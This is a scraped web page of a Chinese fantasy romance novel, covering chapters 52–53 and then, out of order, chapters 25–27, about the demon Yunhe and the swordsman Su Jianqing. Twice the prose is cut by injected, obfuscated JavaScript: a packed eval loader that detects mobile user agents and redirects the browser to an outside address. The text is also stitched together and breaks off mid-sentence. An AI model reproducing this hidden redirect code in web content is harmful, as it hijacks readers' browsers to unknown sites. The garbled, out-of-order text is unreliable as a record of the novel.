() { $(''.inform'').remove(); $(''#content'').append('' 在院里石桌前坐下,单手托腮出神。 苏见清动作快,把饭菜端上来,“可以吃了。” 她这才回神,动鼻子嗅两下,感慨道:“好香啊。” 苏见清眼中含笑,将竹筷递给她。 用完午饭,苏见清去收拾,蕴禾足尖一点跃上屋檐,半躺在屋檐上观察隔壁。 片刻后,白衣剑修也一跃而上,他站在檐角,衣袍翩飞,发带随风而舞,飘飘欲仙,清隽出尘。 隔壁烟囱上空白烟袅袅,香味顺着空气飘至鼻尖,蕴禾嗅了嗅,托腮道:“这个时辰还在做饭,方才柳适应该安慰莲若许久吧。” 她拧眉不解,“我很好奇,莲若好歹也是个鲛人王女,鲛人听着美丽精致,但也凶猛不已,为何柳适总将她当成柔弱女子?” 苏见清回眸,发带顺风飘至脸侧,眉眼似朝露清透干净,猜测道:“莲姑娘能活下来已是不可思议,也许是柳前辈用了什么法子强行替她续命,导致莲姑娘身子虚弱?” 蕴禾偏了下头,“或许吧。” 厨房内响起莲若温柔的嗓音,“夫君,你去把外头架子上的簸箕拿来。” 蕴禾想,如今的莲若倒是比之梦境之中的多了两分温柔,少了些许活泼。 视野里,柳适从屋中走出,拿起架子上的簸箕。 蕴禾眨眨眼,故意撤去她和苏见清身上的结界。 院中的柳适立即察觉到二人的存在,眼含冷光急遽朝上射来。 蕴禾挑眉,饶有兴致与他对视,眉目间皆是挑衅。 有本事你出手啊。 柳适握住簸箕的手发紧,扬起的脖颈上青筋跳动,另一只手快速掐起一道术法,朝蕴禾急射而去。 蕴禾连根头发丝都没动,那道术法已被苏见清截住。 她露出笑,弯起嘴角无声对柳适道:就这? 柳适眉头下敛,俨然亦是怒极,正欲再次出手,屋内莲若疑惑道:“夫君,簸箕呢?怎么去了这么久?” 这声音唤回了柳适的理智,他深吸一口气,不再看屋檐上令人厌恶的二人,迈步朝厨房走,温声道:“来了。” 蕴禾暗忖,无论是百年前还是百年后,这柳适对莲若,倒是一如既往地温柔体贴。 52. 第 52 章 盯了小半日,这两人谁也没走出院门。 蕴禾无奈,招呼苏见清去隔壁,“你去做两样菜,晚上咱们带去隔壁。” 语气理所当然,霸道又不容置疑。 苏见清弯唇,眸光在黄昏里折射出温柔绚丽的光,好脾气应道:“好。” 家里食材不够,苏见清要去采买。 阿蕴姑娘挺喜欢观沧海的食物,他准备多买些放在芥子囊里。此间事了,想必他们一时半会儿的不会再来此地,得把食材都提前备好,阿蕴姑娘想吃的时候,他才能有东西拿出来。 监视是件特别无聊的事,蕴禾半卧在青羽内,耷拉着眉眼无所事事地取一绺头发在指间绕来绕去。 见苏见清要出门,她骤然勾一缕神识放在他身上。 她的行为光明正大,毫无掩饰的意图,动作的最初苏见清便察觉到了。 分明无形无踪,可蕴禾神识靠近的一刹那,苏见清蓦地全身僵硬。 恍惚间觉得,似有一股暖意靠近后颈,温热的气息吹动颈后碎发,红晕顺着修长脖颈往上攀升,蔓延至苏见清白皙双颊。 “阿、阿蕴姑娘……?” 蕴禾居高临下瞟他,语气理所应当,“我无聊,分一缕神识跟你出去,不行吗?” 苏见清红着脸磕磕绊绊道:“当、当然可以。阿蕴姑娘想跟就跟。” 他转身,同手同脚往外走,颇有些落荒而逃的意味,“阿蕴姑娘,我、我先走了。” 蕴禾撇嘴收回视线。 呆头鹅。 跟着苏见清去了观沧海最大的市集,蕴禾的神识趴在他头顶,看着年轻剑修采购。 或许是念及蕴禾的存在,起初苏见清行动颇不自然,后来才慢慢恢复过来,一脸平静地和商贩讨价还价。 蕴禾很是惊奇。 这呆子看着光风霁月的,没想到买东西竟然还会杀价,倒是出乎她的意料。 苏见清买了几十斤蟹放入芥子囊,卖蟹的婶子乐得合不拢嘴,笑着恭维。视线一转落在苏见清腰间,婶子好奇道:“这是什么兽?看着还怪可爱的。” 苏见清垂首,眸底透出温柔,“这是食铁兽。” 婶子乐呵呵的,“这灵兽是公子的心上人送的吧?” 这位公子瞧着不像是会佩戴可爱灵兽玩偶的人,婶子断定,这东西定然是姑娘给的。 苏见清的脸瞬间红了,想着阿蕴姑娘此刻正在看他,连忙否认,“婶子误会了,这是我自己的。” 婶子目光意味深长。 活到她这个岁数,什么风流韵事没见过?一提到心上人,这公子脸都红了。她对苏见清眨眨眼,飞去一个我懂的眼神,嘿嘿乐道:“这有什么好害羞的?年轻人,胆子大些,若是喜欢,你只管上。否则将来有你后悔的。” 婶子喋喋不休,“当年我看中了对门的……” 这婶子话多,一说起来就没个停顿,苏见清无奈,面上认真听着,心里却暗暗祈祷,阿蕴姑娘莫要介怀。 此时的蕴禾注意力并未落在苏见清身上,自然也没听见他和婶子的谈话。 她托腮,端详走出院子的莲若。 姑娘穿素色暗纹窄袖罗裙,腰肢不盈一握,蹲在院内伺候花草,樱花似的两瓣唇一张一合,吐出一段轻柔空灵的小调。 掌中花草在歌声下舒展枝叶,顶端一朵小花苞隐隐有开放的迹象。 莲若双眼弯弯,指尖抚摸花苞,“别急,慢慢开。” 蕴禾就这么看着她蹲在院子里和花花草草小声说话,莲若的声音极柔,温柔和缓,听得蕴禾昏昏欲睡。 她眼睛一闭刚要入睡,下一瞬又强迫自己清醒过来。 眼下莲若和柳适身边都没人看着,她可不能睡过去。 从储物手链里翻翻找找,蕴禾拿出一瓶灵丹,当糖豆似的嚼着玩。 好在莲若并未在院中多待,听见柳适在屋里唤她,她起身笑盈盈走进去。 她一走,蕴禾便觉那股睡意散了不少,眉头轻蹙,蕴禾眯着眼往隔壁屋里扫去一眼。 恰在这时,苏见清回来了。 蕴禾懒洋洋打招呼,“回来了,快去做饭吧。” 与往常一般无二的态度让苏见清一怔,一路的纠结担忧气泡似的被针戳破。 阿蕴姑娘……好像并没听到那些话。 他一动不动站在院门口,蕴禾不解,“你怎么了?” “没什么。” 苏见清缓缓摇头,温声而笑,“我这就去。” 目送他的身影进入厨房,蕴禾扔了颗灵丹塞进嘴里嚼啊嚼。 男人心,海底针啊。 有时候,她是真不知道苏见清在想什么。 要是神控术能对他起作用就好了。 蕴禾兀自遗憾。 …… 苏见清做了四个菜,与蕴禾一道去隔壁。 开门的是柳适,看清二人的刹那,他脸色瞬间沉下,冷声质问:“你们来做什么?” 恶劣的语气直冲冲对着苏见清而去。 蕴禾看不惯他这态度,扬声道:“柳郎君,我和见清来你家拼个桌,快让我们进去吧。” 声音大到足够让厨房里忙活的莲若听见。 她擦干手上水珠匆匆出来,扬起笑脸道:“是阿蕴姑娘和苏公子,阿适,快让他们进来吧。” 柳适扯唇,皮笑肉不笑侧身让路,“二位里边请。” 蕴禾雄赳赳气昂昂越过他走进院门,对莲若笑道:“前日白蹭莲姑娘一顿饭,今晚让你也尝尝见清的手艺。” 苏见清忍住去摸发烫脸颊,颔首道:“手艺粗糙,莲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065086|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘和柳郎君莫怪。” 莲若忍笑,“听了这话,想必苏公子的手艺应是极好。” 这话蕴禾赞同,连点两下头,“不错,他最大的优点就是有一手好厨艺。” “夫君,你来收拾,我去把最后一个菜炒来,马上就能用饭了。” 柳适:“好。” 苏见清将菜摆好没多久,莲若端着盘子出来,瞧见石桌上四样菜色,深嗅一下,“好香啊。” 柳适接过妻子手上菜肴,无奈叹气,“早知如此,我就认真学学厨艺了。” 莲若嗔他,“咱们刚成婚时,你又不是没学过。忘了做出来的东西什么样了?我看啊,你这辈子是学不会了,还是老老实实吃我做的饭罢。” 柳适眸色一恍,似是陷入沉默,他笑笑,温柔覆上莲若的手,“好。” 落座后,蕴禾拿出一瓶酒,依次给几人满上,“莲姑娘,柳郎君,我敬你们一杯。” 一杯饮尽,苏见清也将酒杯倒满,“我也敬二位一杯。” 莲若见状失笑,“夫君,看样子,咱们不敬不行了。” 柳适拧眉,“你酒量不好,还是我来。” “几杯酒而已,不碍事的。”清亮的眸子嗔了柳适一眼,莲若柔声道:“今个儿高兴,你别扫我兴。” 柳适只得妥协,“好。” 敬完一轮,蕴禾招呼二人吃菜,“莲姑娘柳郎君快尝尝,这可是见清家乡的特色。” 莲若吃了口灵鸡肉,眼睛亮晶晶的,“夫君,这个好吃,你快尝尝。” 四人迎着月色饮酒吃菜,倒是颇为和谐。 蕴禾给莲若夹一筷子笋,“还有这个。这笋可是见清千里迢迢带来的。” 莲若尝了口,赞道:“好鲜。” 苏见清浅浅勾唇,“这笋产自伏渊山下定安城,以鲜美著称,我那儿还有不少,莲姑娘若是喜欢,明日我给你匀一些。” “这也太破费了。” “不过一点吃食,有何破费的?” 蕴禾话音一转,“见清来自定安城,我出身玄清域南方一座名为遇冬的小城,不知莲姑娘和柳郎君来自何处,可是观沧海人?” 莲若摇头,“阿适是明莱城人,我……也是小城出身。” 蕴禾追问:“什么小城?” 莲若笑回:“一座临海小城,不值一提。” “临海啊。” 蕴禾吃得差不多了,放下筷子单手摸下巴,嘴角笑意耐人寻味,“说起海,我倒是想起一种名为鲛人的妖。莲姑娘在海边住了这么多年,可曾见过鲛人?” “啪。” 莲若眸光一颤,手中木筷掉落。 柳适目色骤厉,射向蕴禾的视线阴鸷冷冽。 蕴禾丝毫不惧,安静注视莲若,仿佛真的只是好奇。 53. 第 53 章 “阿蕴姑娘说笑了。” 莲若拾起木筷,笑容看不出丝毫异样,“既是妖,那定是生活在妖域,我一个小人物怎会得见?” “是吗?” 蕴禾失望叹气,“有朝一日,我倒是想见见真正的鲛人是什么样。听说他们无论男女,皆生一副冠绝之貌,与狐族并称妖族最美的妖,我有幸见过两个狐族美人,容貌与莲姑娘不相上下,若非莲姑娘是人族,我还以为你才是鲛人呢。” 此话一出,莲若的笑有些挂不住,勉强道:“阿蕴姑娘说笑了,我怎能和鲛人相提并论?” 蕴禾笑眯眯的,慢条斯理饮酒,“莲姑娘莫要妄自菲薄,在柳郎君心里,你定是比鲛人还要貌美。” 莲若红着脸去看柳适,“是吗?” 后者眼里寒意散去不少,笑着点头,“自然,阿若在我眼里永远是最美的。” 莲若垂首,面上羞赧,嘴角轻轻翘起。 蕴禾端起酒杯浅啄,心道这对夫妻可真有意思。 无论何时,二人表现得皆是深情厚谊,柳适也的确像是在意极了莲若,可若真是如此,他为何又与封柔有染? 怪哉,怪哉。 吃完饭,苏见清把盘子一一放进木盒,准备带回去清洗干净放好。 这几个盘子阿蕴姑娘还挺喜欢的,可不能弄丢了。 和莲若夫妻告完别,蕴禾带着苏见清大摇大摆回到隔壁。 进入院子,蕴禾蓦地顿住,仰头凝望头顶明月,遗憾轻啧。 “怎么了?” 蕴禾叹气,语气忧伤,“忽然忘了一件事。” 苏见清好奇,“何事?” “今日发现周婉出事,我第一时间用神识封锁整个巷子,可我只顾着寻找魔修的气息,却忘了关注莲若。” “方才我才察觉,我脑海里竟然只有她在休息的场景,但那人是真是假,此时却无从知晓。” 苏见清安慰,“无碍,杀害封柔姑娘的定是这对夫妻中的一人,阿蕴姑娘不必担忧,我们盯紧些便是。” 浪费了这么多日,蕴禾已经不耐,皱眉道:“哪有这么麻烦,直接把他们抓住,一个个审问不就行了?” 苏见清迟疑摇头,“这……不太好吧?” “有什么不好的?” 蕴禾反问:“你就这么干等他们露出破绽,万一下次我没及时赶到,让他们又害一条人命,你过意得去?” 苏见清抿唇,低声道:“过不去。” “那不就得了?” 蕴禾摊手,“我现在就去把他们抓过来。” 苏见清被说服了,并未阻止。 然而蕴禾刚往前迈一步,手腕蓦地发烫。低头时,一道紫光钻进眉心,她身形一定,双眼闭上,身子往后倒。 “阿蕴姑娘!” 苏见清惊住,急忙把蕴禾揽进怀里,手捧侧脸急声唤道:“阿蕴姑娘,阿蕴姑娘?” 发现蕴禾只是昏睡过去,他松一口气,拦腰将人抱起进了屋。 动作轻柔把蕴禾放在床榻上,苏见清眉心锁住,干净凤眼压不住怒意。为蕴禾盖好被子,他大步出门,往隔壁而去。 走到一半,苏见清步子一顿。 两步之外落下一道狭长影子,在清冷月光照耀下如暗地里滋生的诡谲魅影。 苏见清抬头。 一朵乌云悄无声息飘来,一点点遮挡住明亮圆月。巷中的光暗下,忽地,远处炸开烟花,忽隐忽现的光芒照落屋檐上那人的侧脸,将他俊美无俦的五官渲染出几分诡异。 苏见清:“柳前辈深夜来访,可是有要事?” 柳适垂首不语,只是用冷淡的目光盯着苏见清。 “柳前辈无事,我却有事。” 苏见清同样回之冷漠视线,“阿蕴姑娘无故昏迷,柳前辈可知是何原因?” 柳适终于开口,声线与面对莲若时的温柔不同,从骨子里渗出一股冷意,“你怀疑是我做的?” 苏见清反问:“不是吗?” 柳适冷笑,“那女妖的实力神秘莫测,我还伤不了她。” 不是他? 苏见清拧眉,那会是谁?难不成是莲若姑娘? 脚步刚刚提起,柳适忽问:“你想去找阿若?” 苏见清不语,步子落地。 足下骤然亮起一道法纹,如风吹过落了星火的原野,霎那间燃起漫天大火,无数诡异红光同时亮起,将苏见清紧紧包围。 衣袍无风自动,柳适的嗓音如藏在地底多年的冰川,散发着刺伤肌肤的寒意,“你们知道了阿若的身份。” 语气是笃定的。 他伸出一指,遥指苏见清,冷漠道:“既然如此,那就去死吧。” 伏渊的剑修向来嫉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他怒极,“你胡说八道什……” 目光一定,尾音破开,柳适惊怒,“阿若?” 25-30 第25章 “棍下留楼!” 一道身影猛地从楼上飞扑而下,直奔蕴禾而来,“有话好好说,这位仙子,呸!这位妖君,咱们有话好好说。” 那人脸上挂着谄媚的笑,在心里直骂自己眼瞎。 这哪是什么仙子啊,分明就是妖族的混世魔王,二话不说就要毁了他的楼。 蕴禾乜他,“你就是无忧阁和碎金楼的主人?” “是是是。” 那人穿着黄色长袍,腰系镶满整整三十六颗宝石的大带,头戴镶金红宝石头冠,十根手指皆套着金戒指,一身的富贵奢华,十足耀眼。 他谄笑着,“在下碎金,正是此间主人。” 蕴禾被他闪得眼疼,抬袖散去妖力。 碎金奉承,“妖君大人有大量……” “行了,我们有事问你。”蕴禾打断他的话,“你只管老老实实回答,若有虚言,我绝不轻饶。” 碎金笑容有些僵硬,“妖君说笑了,我一定知无不言言无不尽。” 他半弯着腰做出请的姿势,“二位快楼上请。” 蕴禾颔首,示意苏见清跟上,率先迈步。 青影闪过,无数道亮光如雨落下,准确无误地落到大堂内众位姑娘面前。 与蕴禾搭话那名姑娘怔怔望着灵光闪烁的灵石,耳畔落下一道懒散嗓音,“拿去压惊。” 她仓促抬头,眼里只看见消失在楼梯处的青色身影。 鸦雀无声中,有位姑娘小声道:“那好像是昨夜点了加春姐姐的仙子。” 另一名姑娘抬头,瞧着三楼上察觉不对,推门而出的加春,同样小声回复,“莫不是楼主做错了事,惹怒了仙子?” “我看像。仙子生得那么好看,一定是楼主的错,惹得仙子生了那么大的气。” “没错,肯定是楼主的错。” …… 四楼。 碎金将蕴禾与苏见清迎进房门。 他这屋子亦是金碧辉煌,光辉灿烂,奇珍异宝随处可见,有赤狐狐毛做成的毯子,一整套冰玉髓茶具,玄天晶镶嵌的玉冠,镶满凤凰石的床榻,蕴禾甚至在上边看见了鲛人一族的鲛珠。 她勾起唇,语气不明道:“你经营这无忧阁与碎金楼赚了不少嘛,竟然连鲛珠都能随意镶在床头。” 妖修的妖丹乃是他们的修为本源,妖修死后,妖丹往往会成为被哄抢的宝物。而鲛人一族向来偏安一隅,又生性高傲,族人死后,会将鲛丹收回禁地,断不会流落在外。 这么一想,蕴禾眉头压了压。 顶着她危险的目光,碎金肩膀一抖,欲哭无泪。 他这屋里这么多妖族之物,这位姑奶奶不会以为都是他做的吧?急忙解释,“妖君明鉴,我并未残害妖族,这些东西都是与人换来的。” “人?”蕴禾挑眉,“什么人?” “不是人。” 碎金打了下嘴,改口道:“也是一名女妖君,用这些东西与我换了不少灵丹灵石。” “哦。” 既是你情我愿的交易,蕴禾便不感兴趣了,对苏见清使了个眼色,“想知道什么就问。” 碎金目光移过去,只见此人生得面如朗月,气似修竹,目含繁星,一身的纯净灵蕴,沉静又通透。 他忍不住暗赞一声,好个钟灵毓秀的人物。 先前还以为是这姑奶奶的随从,没想到竟是个出色的年轻修士。 碎金问:“这位仙君想问什么?” 苏见清礼貌颔首,“敢问楼主,可曾见过三名剑修?” 他将俞舟几人的特征告知,又言明魔修的存在,“楼主可否告知那魔修是单独一人前来,还是与人同往?” “魔魔魔魔修?!” 碎金脸色大变,结结巴巴道:“仙君,我可不知他们是魔修啊!他们来势汹汹,强行闯入楼内,毁了我不少宝贝。” 说到这儿时,碎金一脸肉痛,“为了满楼姑娘的安危,我只能好吃的好喝的伺候着,期盼他们早些离去,他们做了什么,我一概不知啊!” “他们?” 苏见清自动过滤碎金诉苦的话,抓住重点,“他们一共几人?” “也是三人。” “住在何处?” “就在隔壁。” 苏见清当即出门,一把推开隔壁的门。视线一扫,却是早已人去楼空。 碎金大惊,“他们什么时候走的?” 苏见清又问:“他们是何样貌?” 碎金:“这三人乃是兄弟,样貌堂堂,生得很是相像,排行第二那人威猛高大,另外两人身量比他矮了半个头。” 既是与瞿云相似,苏见清心里便有数了,道了声多谢。 “至于仙君说的那三名剑修,我便不知了。或许他们并未进碎金楼便……” 碎金及时把剩下的话咽了回去。 苏见清缄默须臾,“多谢楼主告知,今日打扰了,告辞。” 碎金喜笑颜开,下一瞬立马收回笑脸,在蕴禾与苏见清离开时还不忘追上去表忠心,“妖君,仙君,我真的不知道那三人是魔修,我一片真心都是向着玄清域,向着枫泠城的啊!” 蕴禾懒得搭理,苏见清心情不佳,也未回应。 碎金一露面,姑娘们立即将他围住,“楼主,你做了什么惹怒了仙子?” “楼主,做错了事要认罚的,你给仙子道歉了吗?” “楼主……” “楼主……” 碎金听得头都大了,捂着脑袋痛苦道:“姑奶奶们,别说了,让我静静。” 蕴禾收回视线,暗道一声有意思。 见苏见清气息萎靡,她道:“你信了他的话?” 苏见清摇头,“半信半疑。” “碎金楼主不见得不知晓魔修的身份,将他们留下,或许有他的用意。但我三位师兄的事应是与他无关。” 顿了顿,苏见清轻声道:“他很强。” 哪怕一见面便是一张谄媚笑脸,在他与阿蕴姑娘面前点头哈腰,可一个人真正的性子是藏不住的。 他与阿蕴姑娘上楼后,碎金并未给二人倒过一杯茶,说明他从未有过这个意识,既无这个意识,前面的行为便值得琢磨。 且苏见清探过碎金的修为,明面上不过是个金丹,可一靠近,周身灵气却深沉如海。 此人没那么简单。 蕴禾惊讶扬眉,苏见清看着不声不响的,心里竟藏了这么多心思。 看来也没那么呆嘛。 二人停在百香楼前,见蕴禾欲提步往里,苏见清惊讶,“阿蕴姑娘住在此处?” 蕴禾回身看他一眼,“怎么,不行?” 苏见清摇头,嘴角勾一抹浅笑,“我也住在此间客栈。只是觉得好巧。” 巧什么巧,要不是苏见清住这儿,她才不会来呢。 蕴禾翻了个白眼。 还未进去,身后蓦地响起清脆欢快的女声,“咦,苏公子,原来你没走啊?” 第26章 蕴禾转身。 一男一女站在不远处,女子娇俏灵动,眉眼残留三分稚气。男子精致华美,漂亮得仿佛是从画里走出的人物。 蕴禾目光落在那姑娘身上,眉尾惊讶上挑,有些意外。 上次并未仔细端详,当下一看,这小不点不简单嘛。 视线蓦地受阻,那男子挡在姑娘面前,隔绝了蕴禾打量的目光。 她双手抱臂,右手指尖饶有兴致地在胳膊上点了点。 哟,还挺敏锐的嘛。 眼前忽然多了道背影,曲江篱对巫弃噘了噘嘴,绕开他和苏见清说话,神情雀跃得仿佛躺在阳光下打滚的小狸猫,“苏公子,你还在啊,我以为你已经走了呢。” 苏见清:“事未办完,自不会走。” 曲江篱皱着脸,“你还没找到那三位仙君?” 苏见清摇头。 眉头皱起又松开,曲江篱安慰道:“或许他们是有事耽搁了,没准等明日枫神祭典就回来了。” 苏见清没说话。 俞舟几人的生死他心里已经有了数,只是这种话没必要和刚认识的姑娘说。 不过…… 还未出声,身后已落下一道嗓音,“什么枫神祭典?” 蕴禾姿态随意地倚在门框上,目光移向曲江篱。 曲江篱眼睛一亮,“哇”一声,“这位姐姐好漂亮。苏公子,你们认识吗?” 苏见清:“这位是阿蕴姑娘。” “阿蕴姐姐。” 曲江篱不见外地唤了一声,笑眯眯解释,“枫泠城信奉枫神,每年都会举办一场枫神祭典向百姓赐福,听说可热闹了。” 蕴禾疑惑,“枫神?” “是啊。”曲江篱道:“就是城中那棵巨大的枫树。听说它已存世将近万年,比枫泠城的年龄还要大。正是因它庇护枫泠城百姓,这座城池才能饱经风霜后屹立至今。” 数万年前天门崩塌,修真界无论是人、妖,还是魔皆无人飞升。成神已然成了传说。眼下这个劳什子枫神,蕴禾自是半分不信。 “什么神?这城延续至今,繁荣昌盛,不是城主与城中百姓的功劳?” “是啊。”曲江篱笑着点头,视线在周围扫了一圈,竖起手指放低嗓音,表情有种鬼祟的可爱,“不过这是他们的信仰,总该尊重几分。” “江篱,不是说饿了?咱们进去吧。” 巫弃攥住曲江篱的手腕,带她入内。 “哎呀,我还没说自己的名字呢。”曲江篱拍拍额头,笑音欢快,“阿蕴姐姐,我叫曲江篱。这是巫弃,我最好的朋友……诶诶,阿弃,你走这么快做什么?” 目送二人进了百香楼,蕴禾哼了一声。 最好的朋友? 这小东西喜好挺别致嘛。 余光瞥见若有所思的苏见清,蕴禾晃到他跟前,掌心击出清脆声响,“想到什么了?” 苏见清:“那棵树我见过,不像是生了灵。” 蕴禾问:“这事和你有关吗?” 苏见清摇头。 “既是和你无关,你想那么多作甚?走了。” 蕴禾转身,秀发擦过苏见清的下颌,霎时间清香扑鼻。 苏见清抬睫,只见姑娘一头墨发随着走动在背后摇曳,似柳条轻拂碧波,荡开层层涟漪。 他快步跟上。 巫弃和曲江篱不在大堂,掌柜的正在柜台后忙碌,偶一抬头瞧见蕴禾,立即满脸带笑地迎上来,“仙子和仙君回来了,可要用些餐食?” 目光不着痕迹地在二人身上绕了圈,掌柜的暗自腹诽。 仙子果然是追着仙君来的。别说,这两人站在一处还真挺登对。 掌柜的悄悄又看了眼苏见清,心中生出无限羡慕。 这么好看又有钱的仙子,真是便宜这位仙君了。 蕴禾自是不知掌柜的在想什么,指了指苏见清道:“他要用厨房,饭菜做好后让他送到我房里。” 掌柜的偷偷摸摸又觑了眼苏见清,莫非这位仙君正是用高超的厨艺俘获了仙子的芳心?要不改日他也去学学厨艺,说不准也能有强大又有钱的仙子看上他。 内心无数个念头翻涌,掌柜的脸上却并未表露出来,笑着道:“仙君这边请。” 苏见清:“有劳。” 进了百香楼厨房,他问清蕴禾这几日的膳食,心里有了数,撩起袖子开始备菜。 掌柜的并未离开,站在一旁瞧着苏见清熟稔的动作暗暗称奇,拉长脖子悄悄将他的动作记下。 苏见清身量高,他有些步骤看不清,忍不住向前走几步。 前面的人正好转身,掌柜的险些一头撞上去,表情尴尬,却不得不装作若无其事,笑问:“仙君要拿什么?” 苏见清:“水。” 他对掌柜的颔首,舀了瓢水倒入锅中。 掌柜的见他并未出声驱赶,厚着脸皮继续留下。 一通忙活后,饭食总算是好了,掌柜的殷勤帮忙,“我帮仙君端去给仙子吧。” “不必。” 苏见清避开他的动作,礼貌道:“她住在何间,我自去即可。” 刚刚偷了师,掌柜的也不好和他抢着给仙子献殷勤,听了这话却是惊讶,“仙君竟不知吗?仙子就住在你隔壁。” “我隔壁?” 苏见清微愣,想起百香楼前那一声“好巧”,他嘴角抿出一点笑。 的确是巧。 “多谢。” 道完谢,苏见清离开厨房,径直上楼。来到隔壁,还未敲门,里头便已传出姑娘悠扬中夹带慵懒的声线,“进来。” 房门大开,苏见清入内,谦恭地不去乱看,只把饭菜摆在桌上,“阿蕴姑娘,可以用膳了。” 床榻上,一身绿衣的蕴禾像片摊开的草叶,不紧不慢翻身而起。行走时裙裾间赤裸的双足若隐若现。 她随手将满头青丝用簪子挽好,凑过去看了眼桌上菜肴,深深吸气,“好香啊。” 姑娘离得近,她靠近时身上那股清新的草木之气再度缠绕住苏见清,令他脚步后退,凤眼漫上赧然。 罪魁祸首却一无所知,心安理得落座享用佳肴。 吃下去的第一口便让蕴禾眼睛发亮。 腮帮子微鼓,像只忙碌进食的柔软小兽。 苏见清不自觉清清嗓子,“阿蕴姑娘慢用,我先回房了。” 蕴禾顾不上搭理他,挥手示意他自便。 苏见清关好房门,回了隔壁。 门关上的刹那,他腰身一弯,蓦地捂住胸口。 斜对面的镜子中,映出剑修苍白脸色。 第27章 天边泛起鱼肚白时,苏见清推开房门。 正欲下楼,身后房门“嘎吱”一响,女声困顿中夹带被吵醒的不耐,“你去哪儿?” 苏见清惊讶回身,“阿蕴姑娘?” 蕴禾歪歪斜斜倚靠在门框边,捂着嘴唇打哈欠,顺手抹去眼角泪珠,“大清早的不睡觉,你干嘛去?” “是我吵醒你了?” 苏见清面带愧疚,“抱歉,今日城中热闹,我想趁此时清闲再去找找魔修的下落。” 魔修魔修,这人一天天的脑子里就只有魔修,我看你这执拗的模样倒像是个魔修。 蕴禾白了苏见清一眼,忍着脾气说:“走。” 苏见清不解,“走哪儿?*” 蕴禾狠狠瞪他一眼,“先去吃饭,再去找魔修!” 她重重甩袖,袖子挥出的风朝苏见清脸上扑去。 今日蕴禾穿的是一身雨过天青色的广袖长裙,墨发间插着一根翡翠竹节簪子,她走过时,苏见清仿佛瞧见了雨后天空被渲染成青色的绝美景象,呼吸间尽是天地草木清香。 他愣了会儿神,掉转脚步大步跟上蕴禾。 …… 苏见清的预估出了错。 时辰尚早,枫泠城内却已是人满为患,人人皆着新衣,面含喜意,与亲朋好友挽手笑谈。他们胸前皆佩戴花草,其上沾着水珠,色泽鲜艳,可见是精心养护而成。 孩童们举着糖葫芦与风车从人群中跑过,欢笑声久久不散。 整座城池一夜之间大变模样,张灯结彩,红绸翻滚,满城百姓皆沉浸在喜悦中。 身后一股重力袭来,蕴禾身子一歪,身旁的苏见清急忙抓住她的手腕。等蕴禾站稳后,他悄悄松了手,脚步往旁边挪了挪。 “姐姐对不起!” 一个孩童从二人身旁跑过,回头向蕴禾道歉时脸上的笑意还未消散。 蕴禾跺脚,满腔怒意无法发泄,只好气急败坏地质问苏见清,“这就是你说的清闲?” 葱白手指指着人山人海,她不满道:“这么多人,连家空闲的店铺都找不着,我什么时候才能吃上饭?” 苏见清轻声安抚,“阿蕴姑娘在此等候片刻,我去去就来。” 他钻入人群,仿佛入了水的鱼儿,转瞬便不见了人影。 蕴禾脸色不好地等在原地,双手一环,一脸的生人勿进。周遭百姓敏锐地察觉到她不同寻常,不约而同绕过蕴禾,使她周边空出一片空地。 这些人的识趣让蕴禾心情略有好转,但随着苏见清迟迟不归,那份好心情眨眼间烟消云散。 就在蕴禾耐心告罄时,苏见清的身影终于出现。 他将手中油纸递给蕴禾,微微喘气,“趁热吃。” “这是什么?” 蕴禾打开一开。里头是几张饼,饼内夹着肉馅,散发着浓厚的油香气。 她扫了圈周围,不大高兴地说:“本……姑娘没有在大庭广众之下吃饭的习惯。” 苏见清脚步移动,高挑的身形将蕴禾完完全全挡住,眸色清澈,认真道:“这样他们就看不见了。” 蕴禾白他一眼。 手中油饼不断勾起她体内馋虫,蕴禾不再搭理他,鼻尖嗅几下,张唇咬一口。 这一口令她神色舒展,专心致志享用美食。 期间苏见清一直站在她身前目不斜视,等到蕴禾吃完从储物手链里引出清水净手,他这才移开脚步。 二人步入人群,蕴禾问:“人这么多,你要去哪儿找?” 苏见清轻拧眉,“阿蕴姑娘,你说,魔修的目标会不会是枫神?” 蕴禾无语,“不过一棵树而已,魔修要它作甚?不过……” 她偏头思索,“倘若那棵树当真存活了将近万年,很大可能生了灵。其本源之心乃是大补之物,的确有可能引得魔修觊觎。” 二人对视,苏见清嘴角抿出一点笑意,“那我们就走一趟吧。” 谁和你我们? 蕴禾正欲开口,一只浑身雪白的小猫蓦地跑到苏见清脚下,趴在他脚背上打了个滚。 苏见清弯腰,小心翼翼抱起小猫,手指梳理它背上毛发,又挠了挠它下巴,舒服得小猫眯起眼,喉间发出呼声。 “小白,你怎么跑这儿来了?” 年轻男子闯出人群,朝二人走来,伸手去抱苏见清怀里的小猫,“今日城内这么多人,不可以乱跑的,你若是跑丢了,我上哪儿找你去?” 小猫窝在主人怀里,撒娇般“喵”了一声。 主人见它这番情态,也不忍再说责怪的话,对苏见清道谢,“多谢这位仙君。” 苏见清掩去眸中不舍,颔首道:“不必。下次可要看好它。” “一定,一定。” 主人连声道谢,抱着小猫匆匆而返。 蕴禾冷不丁出声,“你很喜欢这种……” 她本想说柔弱没用的小东西,突然想到苏见清也很喜欢自己的原形,斟酌着用词,“毛茸茸软乎乎的东西?” 苏见清收回视线,嘴角噙着一抹笑,“阿蕴姑娘不觉得它们很可爱?” 目光变得柔软,他道:“我养了一只食铁兽,脾气虽然不太好,却很善良,依赖我、粘我。方才那只小猫和它有些像。” 蕴禾险些以为自己听错了。 依赖他,粘他? 这是她? 苏见清这人眼睛是不是有问题?她什么时候依赖他又粘着他了? 